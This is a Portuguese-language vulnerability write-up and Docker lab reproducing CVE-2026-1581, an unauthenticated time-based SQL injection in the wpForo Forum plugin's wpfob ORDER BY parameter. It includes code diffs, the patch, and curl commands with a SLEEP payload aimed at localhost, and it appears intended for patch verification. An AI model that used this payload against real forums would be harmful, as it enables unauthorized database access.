
Reproduz o CVE-2026-1581, uma injeção SQL baseada em tempo não autenticada no wpForo Forum <=2.4.14, com um laboratório Docker e PoC para demonstrar a vulnerabilidade e verificar o patch.
| Campo | Detalhe |
|---|
| ID CVE | CVE-2026-1581 |
| Plugin | wpForo Forum |
| Versões Afetadas | <= 2.4.14 |
| Versão Corrigida | 2.4.15 |
| Tipo de Vulnerabilidade | Injeção SQL Baseada em Tempo Não Autenticada (ORDER BY) |
| Pontuação CVSS | 7.5 (Alta) |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
CVE-2026-1581 é uma vulnerabilidade de Injeção SQL Baseada em Tempo Não Autenticada no plugin wpForo Forum (<= 2.4.14). O parâmetro wpfob é usado em uma cláusula ORDER BY com apenas sanitização de texto aplicada, permitindo que um atacante não autenticado injete expressões SQL arbitrárias e leia dados do banco de dados.
O fornecedor corrigiu isso na versão 2.4.15 substituindo sanitize_text_field() por wpforo_sanitize_orderby(), que aplica uma lista de permissões sensível ao contexto.
Execute apenas em localhost + Docker Compose.
O PoC é uma prova de temporização baseada em tempo para demonstrar a diferença entre as versões vulnerável e corrigida.
Não use contra qualquer sistema sem autorização explícita.
Prova de versão: A página /community/ carrega /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14 (vuln) vs 2.4.15 (corrigida).
Prova de código: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)
Prova de comportamento: wpfob=modified,(SELECT SLEEP(5)) causa atraso de ~5s na versão vulnerável; a versão corrigida responde próximo à linha de base.
O aviso do CVE apenas afirma que se trata de uma injeção SQL baseada em tempo através do parâmetro wpfob, corrigida na versão 2.4.15. No momento da análise, nenhum PoC público estava disponível.
Este relatório foi, portanto, construído através de comparação de código-fonte entre 2.4.14 e 2.4.15, rastreando o parâmetro desde a entrada HTTP através da sanitização até o ponto onde é usado para construir a consulta SQL — a fim de entender a causa raiz e reproduzir o problema.

wpfobComeçando com uma busca por wpfob no código-fonte, descobriu-se que a página Recentes recebe o valor diretamente de um parâmetro GET e o atribui como argumento orderby.

Vulnerável (2.4.14) — themes/classic/recent.php:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
Corrigido (2.4.15) — mesmo arquivo, sanitizador substituído:
32 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74 | $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
Por que focar em
recent.php? Porque é uma rota acionável ondewpfobé atribuído diretamente a$args['orderby'].
ORDER BY ...Uma vez que $args['orderby'] é definido, ele flui para o construtor de consultas do wpForo para construir a cláusula ORDER BY.
Concatenação ORDER BY (vuln 2.4.14)
classes/Topics.php:

classes/Posts.php:

Explicação
sanitize_text_field() apenas remove/limpa a string — não aplica uma lista de permissões de nomes de colunas permitidos.orderby é concatenado diretamente em ORDER BY <orderby>, um atacante pode injetar expressões SQL arbitrárias na posição do ORDER BY.recent.php32c32
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo.php1036c1036
< $args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> $args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> $args['orderby'] = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
wpforo_sanitize_orderby()A versão 2.4.15 introduz um sanitizador de lista de permissões sensível ao contexto que retorna o valor padrão se a entrada não estiver na lista permitida:

wp_vuln (WordPress + wpForo 2.4.14) → http://localhost:8081wp_patched (WordPress + wpForo 2.4.15) → http://localhost:8082db_vuln / db_patched (MariaDB)seed_vuln / seed_patched — usa wp-cli para instalar o WordPress, instalar o plugin, criar a página /community/ com o shortcode [wpforo], configurar permalinks, gerar .htaccess e criar artefatos de verificação.A partir da leitura do código-fonte, wpfob é usado explicitamente na página recentes:
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=openedPelo menos 1 tópico e 1 postagem devem existir antes do teste.
ORDER BY, e nenhum atraso é observado — um falso negativo.Pelo menos 1 tópico e 1 postagem são necessários.
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
"http://localhost:8081/community/recent/?view=opened"
curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
"http://localhost:8082/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
--get "http://localhost:8081/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
--get "http://localhost:8082/community/recent/" \
--data-urlencode "view=opened" \
--data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
Esperado
attack_vuln ≈ baseline_vuln + ~5sattack_patched ≈ linha de base (sem atraso)
8081 (vuln), 8082 (corrigido)docker-compose.ymlscripts/seed-wp.shA partir da pasta do projeto:
docker compose up -d
Verifique se ambas as instâncias estão acessíveis:
http://localhost:8081/community/http://localhost:8082/community/E a página de recentes:
http://localhost:8081/community/recent/?view=openedhttp://localhost:8082/community/recent/?view=opened

Necessário para reprodutibilidade e para evitar falsos negativos.
# 1) Verificar contagens (vuln)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts FROM ${PREFIX}wpforo_posts;" --allow-root
'
# 2) Inserir 1 tópico e 1 postagem (vuln)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)
wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)
wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root
echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'
Para a instância corrigida, substitua seed_vuln por seed_patched.
O uso de um ambiente virtual é recomendado:
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt
# vuln
python3 poc.py http://localhost:8081
# corrigido
python3 poc.py http://localhost:8082

docker compose down -v